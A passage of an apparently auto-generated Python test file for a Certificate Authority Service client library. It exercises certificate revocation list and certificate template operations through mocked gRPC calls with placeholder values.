request.certificate_revocation_list.name = "certificate_revocation_list.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_revocation_list.name=certificate_revocation_list.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_certificate_revocation_list_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateCertificateRevocationListRequest()
request.certificate_revocation_list.name = "certificate_revocation_list.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_certificate_revocation_list(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"certificate_revocation_list.name=certificate_revocation_list.name/value",
) in kw["metadata"]
def test_update_certificate_revocation_list_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_certificate_revocation_list(
certificate_revocation_list=resources.CertificateRevocationList(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_revocation_list
mock_val = resources.CertificateRevocationList(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_certificate_revocation_list_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_certificate_revocation_list(
service.UpdateCertificateRevocationListRequest(),
certificate_revocation_list=resources.CertificateRevocationList(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_certificate_revocation_list_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_certificate_revocation_list), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_certificate_revocation_list(
certificate_revocation_list=resources.CertificateRevocationList(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].certificate_revocation_list
mock_val = resources.CertificateRevocationList(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_certificate_revocation_list_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_certificate_revocation_list(
service.UpdateCertificateRevocationListRequest(),
certificate_revocation_list=resources.CertificateRevocationList(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type", [service.CreateCertificateTemplateRequest, dict,]
)
def test_create_certificate_template(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_certificate_template_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
client.create_certificate_template()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateTemplateRequest()
@pytest.mark.asyncio
async def test_create_certificate_template_async(
transport: str = "grpc_asyncio",
request_type=service.CreateCertificateTemplateRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_certificate_template_async_from_dict():
await test_create_certificate_template_async(request_type=dict)
def test_create_certificate_template_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateTemplateRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_certificate_template_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateTemplateRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_certificate_template_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_certificate_template(
parent="parent_value",
certificate_template=resources.CertificateTemplate(name="name_value"),
certificate_template_id="certificate_template_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate_template
mock_val = resources.CertificateTemplate(name="name_value")
assert arg == mock_val
arg = args[0].certificate_template_id
mock_val = "certificate_template_id_value"
assert arg == mock_val
def test_create_certificate_template_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_certificate_template(
service.CreateCertificateTemplateRequest(),
parent="parent_value",
certificate_template=resources.CertificateTemplate(name="name_value"),
certificate_template_id="certificate_template_id_value",
)
@pytest.mark.asyncio
async def test_create_certificate_template_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_certificate_template(
parent="parent_value",
certificate_template=resources.CertificateTemplate(name="name_value"),
certificate_template_id="certificate_template_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate_template
mock_val = resources.CertificateTemplate(name="name_value")
assert arg == mock_val
arg = args[0].certificate_template_id
mock_val = "certificate_template_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_certificate_template_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_certificate_template(
service.CreateCertificateTemplateRequest(),
parent="parent_value",
certificate_template=resources.CertificateTemplate(name="name_value"),
certificate_template_id="certificate_template_id_value",
)
@pytest.mark.parametrize(
"request_type", [service.DeleteCertificateTemplateRequest, dict,]
)
def test_delete_certificate_template(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_certificate_template_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
client.delete_certificate_template()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateTemplateRequest()
@pytest.mark.asyncio
async def test_delete_certificate_template_async(
transport: str = "grpc_asyncio",
request_type=service.DeleteCertificateTemplateRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_certificate_template_async_from_dict():
await test_delete_certificate_template_async(request_type=dict)
def test_delete_certificate_template_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCertificateTemplateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_certificate_template_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteCertificateTemplateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_certificate_template_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_certificate_template(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_certificate_template_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_certificate_template(
service.DeleteCertificateTemplateRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_certificate_template_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_certificate_template(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_certificate_template_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_certificate_template(
service.DeleteCertificateTemplateRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [service.GetCertificateTemplateRequest, dict,])
def test_get_certificate_template(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateTemplate(
name="name_value", description="description_value",
)
response = client.get_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateTemplate)
assert response.name == "name_value"
assert response.description == "description_value"
def test_get_certificate_template_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
client.get_certificate_template()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateTemplateRequest()
@pytest.mark.asyncio
async def test_get_certificate_template_async(
transport: str = "grpc_asyncio", request_type=service.GetCertificateTemplateRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateTemplate(
name="name_value", description="description_value",
)
)
response = await client.get_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateTemplateRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateTemplate)
assert response.name == "name_value"
assert response.description == "description_value"
@pytest.mark.asyncio
async def test_get_certificate_template_async_from_dict():
await test_get_certificate_template_async(request_type=dict)
def test_get_certificate_template_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateTemplateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
call.return_value = resources.CertificateTemplate()
client.get_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_certificate_template_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateTemplateRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateTemplate()
)
await client.get_certificate_template(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_certificate_template_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateTemplate()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_certificate_template(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_certificate_template_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_certificate_template(
service.GetCertificateTemplateRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_certificate_template_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_template), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateTemplate()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateTemplate()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_certificate_template(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_certificate_template_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_certificate_template(
service.GetCertificateTemplateRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.ListCertificateTemplatesRequest, dict,]
)
def test_list_certificate_templates(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateTemplatesResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_certificate_templates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateTemplatesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateTemplatesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_certificate_templates_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
client.list_certificate_templates()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateTemplatesRequest()
@pytest.mark.asyncio
async def test_list_certificate_templates_async(
transport: str = "grpc_asyncio",
request_type=service.ListCertificateTemplatesRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateTemplatesResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_certificate_templates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListCertificateTemplatesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCertificateTemplatesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_certificate_templates_async_from_dict():
await test_list_certificate_templates_async(request_type=dict)
def test_list_certificate_templates_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateTemplatesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
call.return_value = service.ListCertificateTemplatesResponse()
client.list_certificate_templates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_certificate_templates_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListCertificateTemplatesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateTemplatesResponse()
)
await client.list_certificate_templates(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_certificate_templates_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateTemplatesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_certificate_templates(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_certificate_templates_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_certificate_templates(
service.ListCertificateTemplatesRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_certificate_templates_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListCertificateTemplatesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListCertificateTemplatesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_certificate_templates(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_certificate_templates_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_certificate_templates(
service.ListCertificateTemplatesRequest(), parent="parent_value",
)
def test_list_certificate_templates_pager(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
next_page_token="abc",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[], next_page_token="def",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[resources.CertificateTemplate(),],
next_page_token="ghi",
),
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_certificate_templates(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CertificateTemplate) for i in results)
def test_list_certificate_templates_pages(transport_name: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_certificate_templates), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListCertificateTemplatesResponse(
certificate_templates=[
resources.CertificateTemplate(),
resources.CertificateTemplate(),
resources.CertificateTemplate(),
],
next_page_token="abc",
),
service.ListCertificateTemplatesResponse(
